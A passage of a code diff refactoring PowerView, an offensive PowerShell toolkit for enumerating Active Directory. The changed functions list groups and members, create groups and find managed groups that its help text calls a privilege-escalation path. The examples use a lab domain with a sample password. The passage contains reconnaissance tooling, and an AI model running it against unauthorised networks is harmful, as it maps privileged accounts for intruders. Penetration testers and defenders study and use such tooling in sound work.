Admins,CN=Users,DC=testlab,DC=local +CN=Enterprise Admins,CN=Users,DC=testlab,DC=local +CN=Domain Admins,CN=Users,DC=testlab,DC=local +CN=DnsAdmins,CN=Users,DC=testlab,DC=local +CN=Server Admins,CN=Users,DC=testlab,DC=local +CN=Desktop Admins,CN=Users,DC=testlab,DC=local - The domain to query for sites, defaults to the current domain. +.EXAMPLE - .PARAMETER DomainController +Get-DomainGroup -Properties samaccountname -Identity 'S-1-5-21-890171859-3433809279-3366196753-1117' | fl - Domain controller to reflect LDAP queries through. +samaccountname +-------------- +Server Admins - .PARAMETER ADSpath +.EXAMPLE - The LDAP source to search through. +'CN=Desktop Admins,CN=Users,DC=testlab,DC=local' | Get-DomainGroup -Server primary.testlab.local -Verbose +VERBOSE: Get-DomainSearcher search string: LDAP://DC=testlab,DC=local +VERBOSE: Get-DomainGroup filter string: (&(objectCategory=group)(|(distinguishedname=CN=DesktopAdmins,CN=Users,DC=testlab,DC=local))) - .PARAMETER GUID +usncreated : 13245 +grouptype : -2147483646 +samaccounttype : 268435456 +samaccountname : Desktop Admins +whenchanged : 8/10/2016 12:30:30 AM +objectsid : S-1-5-21-890171859-3433809279-3366196753-1118 +objectclass : {top, group} +cn : Desktop Admins +usnchanged : 13255 +dscorepropagationdata : 1/1/1601 12:00:00 AM +name : Desktop Admins +distinguishedname : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +member : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +whencreated : 8/10/2016 12:29:43 AM +instancetype : 4 +objectguid : f37903ed-b333-49f4-abaa-46c65e9cca71 +objectcategory : CN=Group,CN=Schema,CN=Configuration,DC=testlab,DC=local - Only return site with the specified GUID in their gplink property. +.EXAMPLE - .PARAMETER FullData +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGroup -Credential $Cred - Switch. Return full site objects instead of just object names (the default). +.EXAMPLE - .PARAMETER PageSize +Get-Domain | Select-Object -Expand name +testlab.local - The PageSize to set for the LDAP searcher object. +'DEV\Domain Admins' | Get-DomainGroup -Verbose -Properties distinguishedname +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainGroup] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins' +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainGroup] filter string: (&(objectCategory=group)(|(samAccountName=Domain Admins))) - .PARAMETER Credential +distinguishedname +----------------- +CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +.OUTPUTS - .EXAMPLE +PowerView.Group - PS C:\> Get-NetSite -Domain testlab.local -FullData - - Returns the full data objects for all sites in testlab.local +Custom PSObject with translated group property fields. #> - [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.Group')] + [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [Alias('UserName')] [String] - $SiteName = "*", + $MemberIdentity, + + [Switch] + $AdminCount, + [ValidateNotNullOrEmpty()] [String] $Domain, + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - $DomainController, + $SearchBase, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $ADSpath, + $Server, + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $GUID, + $SearchScope = 'Subtree', - [Switch] - $FullData, + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - [ValidateRange(1,10000)] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200, + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw ) - begin { - $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $GroupSearcher = Get-DomainSearcher @SearcherArguments } - process { - if($SiteSearcher) { - if ($GUID) { - # if we're filtering for a GUID in .gplink - $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName)(gplink=*$GUID*))" + PROCESS { + if ($GroupSearcher) { + if ($PSBoundParameters['MemberIdentity']) { + + if ($SearcherArguments['Properties']) { + $OldProperties = $SearcherArguments['Properties'] + } + + $SearcherArguments['Identity'] = $MemberIdentity + $SearcherArguments['Raw'] = $True + + Get-DomainObject @SearcherArguments | ForEach-Object { + # convert the user/group to a directory entry + $ObjectDirectoryEntry = $_.GetDirectoryEntry() + + # cause the cache to calculate the token groups for the user/group + $ObjectDirectoryEntry.RefreshCache('tokenGroups') + + $ObjectDirectoryEntry.TokenGroups | ForEach-Object { + # convert the token group sid + $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value + + # ignore the built in groups + if ($GroupSid -notmatch '^S-1-5-32-.*') { + $SearcherArguments['Identity'] = $GroupSid + $SearcherArguments['Raw'] = $False + if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } + $Group = Get-DomainObject @SearcherArguments + if ($Group) { + $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') + $Group + } + } + } + } } else { - $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName))" - } - - try { - $Results = $SiteSearcher.FindAll() + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_ + + if ($IdentityInstance -match '.+\\.+') { + # DOMAIN\groupname + $ConvertedIdentityInstance = $IdentityInstance | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $GroupName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$GroupName)" + $SearcherArguments['Domain'] = $GroupDomain + Write-Verbose "[Get-DomainGroup] Extracted domain '$GroupDomain' from '$IdentityInstance'" + $GroupSearcher = Get-DomainSearcher @SearcherArguments + } + } + elseif ($IdentityInstance -match '^S-1-.*') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" + } + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['AdminCount']) { + Write-Verbose '[Get-DomainGroup] Searching for adminCount=1' + $Filter += '(admincount=1)' + } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainGroup] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $GroupSearcher.filter = "(&(objectCategory=group)$Filter)" + Write-Verbose "[Get-DomainGroup] filter string: $($GroupSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $GroupSearcher.FindOne() } + else { $Results = $GroupSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { - if ($FullData) { - # convert/process the LDAP fields for each result - $Site = Convert-LDAPProperty -Properties $_.Properties - $Site.PSObject.TypeNames.Add('PowerView.Site') - $Site + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Group = $_ } else { - # otherwise just return the site name - $_.properties.name + $Group = Convert-LDAPProperty -Properties $_.Properties } + $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') + $Group } - $Results.dispose() - $SiteSearcher.dispose() - } - catch { - Write-Verbose $_ + try { $Results.dispose() } catch {} + $GroupSearcher.dispose() } } } } -function Get-NetSubnet { +function New-DomainGroup { <# - .SYNOPSIS +.SYNOPSIS + +Creates a new domain group (assuming appropriate permissions) and returns the group object. + +TODO: implement all properties that New-ADGroup implements (https://technet.microsoft.com/en-us/library/ee617253.aspx). + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext - Gets a list of all current subnets in a domain. +.DESCRIPTION - .PARAMETER SiteName +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to create a new +DirectoryServices.AccountManagement.GroupPrincipal with the specified +group properties. - Only return subnets from the specified SiteName. +.PARAMETER SamAccountName - .PARAMETER Domain +Specifies the Security Account Manager (SAM) account name of the group to create. +Maximum of 256 characters. Mandatory. - The domain to query for subnets, defaults to the current domain. +.PARAMETER Name - .PARAMETER DomainController +Specifies the name of the group to create. If not provided, defaults to SamAccountName. - Domain controller to reflect LDAP queries through. +.PARAMETER DisplayName - .PARAMETER ADSpath +Specifies the display name of the group to create. If not provided, defaults to SamAccountName. - The LDAP source to search through. +.PARAMETER Description - .PARAMETER FullData +Specifies the description of the group to create. - Switch. Return full subnet objects instead of just object names (the default). +.PARAMETER Domain - .PARAMETER PageSize +Specifies the domain to use to search for user/group principals, defaults to the current domain. - The PageSize to set for the LDAP searcher object. +.PARAMETER Credential - .PARAMETER Credential +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +.EXAMPLE - .EXAMPLE +New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' - PS C:\> Get-NetSubnet - - Returns all subnet names in the current domain. +Creates the 'TestGroup' group with the specified description. - .EXAMPLE +.EXAMPLE - PS C:\> Get-NetSubnet -Domain testlab.local -FullData - - Returns the full data objects for all subnets in testlab.local +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' -Credential $Cred + +Creates the 'TestGroup' group with the specified description using the specified alternate credentials. + +.OUTPUTS + +DirectoryServices.AccountManagement.GroupPrincipal #> - [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('DirectoryServices.AccountManagement.GroupPrincipal')] + Param( + [Parameter(Mandatory = $True)] + [ValidateLength(0, 256)] [String] - $SiteName = "*", + $SamAccountName, + [ValidateNotNullOrEmpty()] [String] - $Domain, + $Name, + [ValidateNotNullOrEmpty()] [String] - $ADSpath, + $DisplayName, + [ValidateNotNullOrEmpty()] [String] - $DomainController, - - [Switch] - $FullData, + $Description, - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, + [ValidateNotNullOrEmpty()] + [String] + $Domain, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - begin { - $SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -ADSprefix "CN=Subnets,CN=Sites,CN=Configuration" -PageSize $PageSize + $ContextArguments = @{ + 'Identity' = $SamAccountName } + if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } + $Context = Get-PrincipalContext @ContextArguments - process { - if($SubnetSearcher) { - - $SubnetSearcher.filter="(&(objectCategory=subnet))" - - try { - $Results = $SubnetSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - if ($FullData) { - # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties | Where-Object { $_.siteobject -match "CN=$SiteName" } - } - else { - # otherwise just return the subnet name and site name - if ( ($SiteName -and ($_.properties.siteobject -match "CN=$SiteName,")) -or ($SiteName -eq '*')) { + if ($Context) { + $Group = New-Object -TypeName System.DirectoryServices.AccountManagement.GroupPrincipal -ArgumentList ($Context.Context) - $SubnetProperties = @{ - 'Subnet' = $_.properties.name[0] - } - try { - $SubnetProperties['Site'] = ($_.properties.siteobject[0]).split(",")[0] - } - catch { - $SubnetProperties['Site'] = 'Error' - } + # set all the appropriate group parameters + $Group.SamAccountName = $Context.Identity - New-Object -TypeName PSObject -Property $SubnetProperties - } - } - } - $Results.dispose() - $SubnetSearcher.dispose() - } - catch { - Write-Warning $_ - } + if ($PSBoundParameters['Name']) { + $Group.Name = $Name + } + else { + $Group.Name = $Context.Identity + } + if ($PSBoundParameters['DisplayName']) { + $Group.DisplayName = $DisplayName + } + else { + $Group.DisplayName = $Context.Identity } - } -} - - -function Get-DomainSID { -<# - .SYNOPSIS - - Gets the SID for the domain. - - .PARAMETER Domain - - The domain to query, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .EXAMPLE - - C:\> Get-DomainSID -Domain TEST - - Returns SID for the domain 'TEST' -#> - - param( - [String] - $Domain, - [String] - $DomainController - ) + if ($PSBoundParameters['Description']) { + $Group.Description = $Description + } - $DCSID = Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' | Select-Object -First 1 -ExpandProperty objectsid - if($DCSID) { - $DCSID.Substring(0, $DCSID.LastIndexOf('-')) - } - else { - Write-Verbose "Error extracting domain SID for $Domain" + Write-Verbose "[New-DomainGroup] Attempting to create group '$SamAccountName'" + try { + $Null = $Group.Save() + Write-Verbose "[New-DomainGroup] Group '$SamAccountName' successfully created" + $Group + } + catch { + Write-Warning "[New-DomainGroup] Error creating group '$SamAccountName' : $_" + } } } -function Get-NetGroup { +function Get-DomainManagedSecurityGroup { <# - .SYNOPSIS +.SYNOPSIS - Gets a list of all current groups in a domain, or all - the groups a given user/group object belongs to. +Returns all security groups in the current (or target) domain that have a manager set. - .PARAMETER GroupName +Author: Stuart Morgan (@ukstufus) , Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject, Get-DomainGroup, Get-DomainObjectAcl - The group name to query for, wildcards accepted. +.DESCRIPTION - .PARAMETER SID +Authority to manipulate the group membership of AD security groups and distribution groups +can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically +used to delegate management authority to distribution groups, but Windows supports security groups +being managed in the same way. - The group SID to query for. +This function searches for AD groups which have a group manager set, and determines whether that +user can manipulate group membership. This could be a useful method of horizontal privilege +escalation, especially if the manager can manipulate the membership of a privileged group. - .PARAMETER UserName +.PARAMETER Domain - The user name (or group name) to query for all effective - groups of. +Specifies the domain to use for the query, defaults to the current domain. - .PARAMETER Filter +.PARAMETER SearchBase - A customized ldap filter string to use, e.g. "(description=*admin*)" +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - .PARAMETER Domain +.PARAMETER Server - The domain to query for groups, defaults to the current domain. +Specifies an Active Directory server (domain controller) to bind to. - .PARAMETER DomainController +.PARAMETER SearchScope - Domain controller to reflect LDAP queries through. +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - .PARAMETER ADSpath +.PARAMETER ResultPageSize - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +Specifies the PageSize to set for the LDAP searcher object. - .PARAMETER AdminCount +.PARAMETER ServerTimeLimit - Switch. Return group with adminCount=1. +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - .PARAMETER FullData +.PARAMETER Tombstone - Switch. Return full group objects instead of just object names (the default). +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - .PARAMETER RawSids +.PARAMETER Credential - Switch. Return raw SIDs when using "Get-NetGroup -UserName X" +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .PARAMETER PageSize +.EXAMPLE - The PageSize to set for the LDAP searcher object. +Get-DomainManagedSecurityGroup | Export-PowerViewCSV -NoTypeInformation group-managers.csv - .PARAMETER Credential +Store a list of all security groups with managers in group-managers.csv - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +.OUTPUTS - .PARAMETER AllTypes +PowerView.ManagedSecurityGroup - By default we will retrieve only Security, not Distribution Groups. +A custom PSObject describing the managed security group. +#> - .EXAMPLE + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ManagedSecurityGroup')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Domain, - PS C:\> Get-NetGroup + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, - Returns the current security groups in the domain. + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, - .EXAMPLE + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', - PS C:\> Get-NetGroup -GroupName *admin* + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - Returns all groups with "admin" in their group name. + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, - .EXAMPLE + [Switch] + $Tombstone, - PS C:\> Get-NetGroup -Domain testing -FullData + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) - Returns full group data objects in the 'testing' domain -#> + BEGIN { + $SearcherArguments = @{ + 'LDAPFilter' = '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' + 'Properties' = 'distinguishedName,managedBy,samaccounttype,samaccountname' + } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + } - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [String] - $GroupName = '*', + PROCESS { + if ($PSBoundParameters['Domain']) { + $SearcherArguments['Domain'] = $Domain + $TargetDomain = $Domain + } + else { + $TargetDomain = $Env:USERDNSDOMAIN + } + + # go through the list of security groups on the domain and identify those who have a manager + Get-DomainGroup @SearcherArguments | ForEach-Object { + $SearcherArguments['Properties'] = 'distinguishedname,name,samaccounttype,samaccountname,objectsid' + $SearcherArguments['Identity'] = $_.managedBy + $Null = $SearcherArguments.Remove('LDAPFilter') + + # $SearcherArguments + # retrieve the object that the managedBy DN refers to + $GroupManager = Get-DomainObject @SearcherArguments + # Write-Host "GroupManager: $GroupManager" + $ManagedGroup = New-Object PSObject + $ManagedGroup | Add-Member Noteproperty 'GroupName' $_.samaccountname + $ManagedGroup | Add-Member Noteproperty 'GroupDistinguishedName' $_.distinguishedname + $ManagedGroup | Add-Member Noteproperty 'ManagerName' $GroupManager.samaccountname + $ManagedGroup | Add-Member Noteproperty 'ManagerDistinguishedName' $GroupManager.distinguishedName + + # determine whether the manager is a user or a group + if ($GroupManager.samaccounttype -eq 0x10000000) { + $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'Group' + } + elseif ($GroupManager.samaccounttype -eq 0x30000000) { + $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'User' + } + + $ACLArguments = @{ + 'Identity' = $_.distinguishedname + 'RightsFilter' = 'WriteMembers' + } + if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential } + + # # TODO: correct! + # # find the ACLs that relate to the ability to write to the group + # $xacl = Get-DomainObjectAcl @ACLArguments -Verbose + # # $ACLArguments + # # double-check that the manager + # if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AceType -eq 'AccessAllowed' -and ($xacl.ObjectSid -eq $GroupManager.objectsid)) { + # $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $True + # } + # else { + # $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $False + # } + + $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' 'UNKNOWN' + + $ManagedGroup.PSObject.TypeNames.Insert(0, 'PowerView.ManagedSecurityGroup') + $ManagedGroup + } + } +} - [String] - $SID, - [String] - $UserName, +function Get-DomainGroupMember { +<# +.SYNOPSIS - [String] - $Filter, +Return the memberes of a specific domain group. - [String] - $Domain, +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainGroup, Get-DomainGroupMember, Convert-ADName, Get-DomainObject, ConvertFrom-SID - [String] - $DomainController, +.DESCRIPTION - [String] - $ADSpath, +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for the specified +group matching the criteria. Each result is then rebound and the full user +or group object is returned. - [Switch] - $AdminCount, +.PARAMETER Identity - [Switch] - $FullData, +A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to query for. Wildcards accepted. - [Switch] - $RawSids, +.PARAMETER Domain - [Switch] - $AllTypes, +Specifies the domain to use for the query, defaults to the current domain. - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, +.PARAMETER Recurse - [Management.Automation.PSCredential] - $Credential - ) +Switch. If the group member is a group, recursively try to query its members as well. - begin { - $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize - if (!$AllTypes) - { - $Filter += "(groupType:1.2.840.113556.1.4.803:=2147483648)" - } - } +.PARAMETER RecurseUsingMatchingRule - process { - if($GroupSearcher) { +Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query to recurse. +Much faster than manual recursion, but doesn't reveal cross-domain groups, +and only returns user accounts (no nested group objects themselves). - if($AdminCount) { - Write-Verbose "Checking for adminCount=1" - $Filter += "(admincount=1)" - } +.PARAMETER LDAPFilter - if ($UserName) { - # get the raw user object - $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -Credential $Credential -ReturnRaw -PageSize $PageSize | Select-Object -First 1 +Specifies an LDAP query string that is used to filter Active Directory objects. - if($User) { - # convert the user to a directory entry - $UserDirectoryEntry = $User.GetDirectoryEntry() +.PARAMETER SearchBase - # cause the cache to calculate the token groups for the user - $UserDirectoryEntry.RefreshCache("tokenGroups") +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - $UserDirectoryEntry.TokenGroups | ForEach-Object { - # convert the token group sid - $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value +.PARAMETER Server - # ignore the built in groups - if($GroupSid -notmatch '^S-1-5-32-.*') { - if($FullData) { - $Group = Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential - $Group.PSObject.TypeNames.Add('PowerView.Group') - $Group - } - else { - if($RawSids) { - $GroupSid - } - else { - Convert-SidToName -SID $GroupSid - } - } - } - } - } - else { - Write-Warning "UserName '$UserName' failed to resolve." - } - } - else { - if ($SID) { - $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" - } - else { - $GroupSearcher.filter = "(&(objectCategory=group)(samaccountname=$GroupName)$Filter)" - } +Specifies an Active Directory server (domain controller) to bind to. - $Results = $GroupSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - # if we're returning full data objects - if ($FullData) { - # convert/process the LDAP fields for each result - $Group = Convert-LDAPProperty -Properties $_.Properties - $Group.PSObject.TypeNames.Add('PowerView.Group') - $Group - } - else { - # otherwise we're just returning the group name - $_.properties.samaccountname - } - } - $Results.dispose() - $GroupSearcher.dispose() - } - } - } -} +.PARAMETER SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). -function Get-NetGroupMember { -<# - .SYNOPSIS +.PARAMETER ResultPageSize - This function users [ADSI] and LDAP to query the current AD context - or trusted domain for users in a specified group. If no GroupName is - specified, it defaults to querying the "Domain Admins" group. - This is a replacement for "net group 'name' /domain" +Specifies the PageSize to set for the LDAP searcher object. - .PARAMETER GroupName +.PARAMETER ServerTimeLimit - The group name to query for users. +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - .PARAMETER SID +.PARAMETER SecurityMasks - The Group SID to query for users. If not given, it defaults to 512 "Domain Admins" +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. - .PARAMETER Filter +.PARAMETER Tombstone - A customized ldap filter string to use, e.g. "(description=*admin*)" +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - .PARAMETER Domain +.PARAMETER Credential - The domain to query for group users, defaults to the current domain. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .PARAMETER DomainController +.EXAMPLE - Domain controller to reflect LDAP queries through. +Get-DomainGroupMember "Desktop Admins" - .PARAMETER ADSpath +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : Testing Group +MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local +MemberObjectClass : group +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129 - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : arobbins.a +MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 - .PARAMETER FullData +.EXAMPLE - Switch. Returns full data objects instead of just group/users. +'Desktop Admins' | Get-DomainGroupMember -Recurse - .PARAMETER Recurse +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : Testing Group +MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local +MemberObjectClass : group +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129 - Switch. If the group member is a group, recursively try to query its members as well. +GroupDomain : testlab.local +GroupName : Testing Group +GroupDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : harmj0y +MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108 - .PARAMETER UseMatchingRule +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : arobbins.a +MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 - Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query when -Recurse is specified. - Much faster than manual recursion, but doesn't reveal cross-domain groups. 